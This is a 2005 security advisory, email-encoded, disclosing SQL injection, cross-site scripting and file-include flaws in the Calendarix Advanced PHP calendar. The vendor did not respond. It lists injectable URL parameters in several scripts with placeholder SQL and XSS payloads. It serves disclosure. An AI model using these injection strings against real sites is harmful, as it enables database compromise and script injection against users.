/***********************************************
* Advisorie : 01-0005-15
* title: multiple vulnerability
* Software: Calendarix Advanced=20
* Date: 28. April 2005
* Web: http://www.calendarix.com/
************************************************/


- Affected software description:

Webcalendar is a web software write in php y mysql=20

- Expoit:

=09Include=20

=09line 16=20
=09admin/cal_admintop.php:include_once ($calpath."cal_utils.php");

=09xss and sql injection

=09line 122 - 160
=09cal_day.php?op=3Dday&date=3D2005-05-03&catview=3D1[sql]/*
=09cal_pophols.php?id=3D999'[sql]/*=09
=09line 23
=09calendar.php?op=3Dcal&month=3D5&year=3D2'%3Ch1% 3DarkBicho005&catview=3D1
=09line 194 - 196
=09cal_week.php?op=3Dweek&catview=3D 999'[sql]/*
=09line 34 - 39
=09cal_cat.php?op=3Dcats&catview=3D999'[sql]*/


- How to fix:

=09Vendor no responds

- Credits:

=09DarkBicho
=09Email: darkbicho@gmail.com
=09Web: http://www.swp-scene.org


- Grettings:
=09"A mi Team SWP"
=09" Viva el Peru Carajo"

--=20
- - - - - - - - - - - - - - - - - - - - - - - - -=20
Miguel Sumaran (DarkBicho)
webpage: http://www.darkbicho.tk/
Team : http://www.swp-scene.org/
Made in Peru
- - - - - - - - - - - - - - - - - - - - - - - - -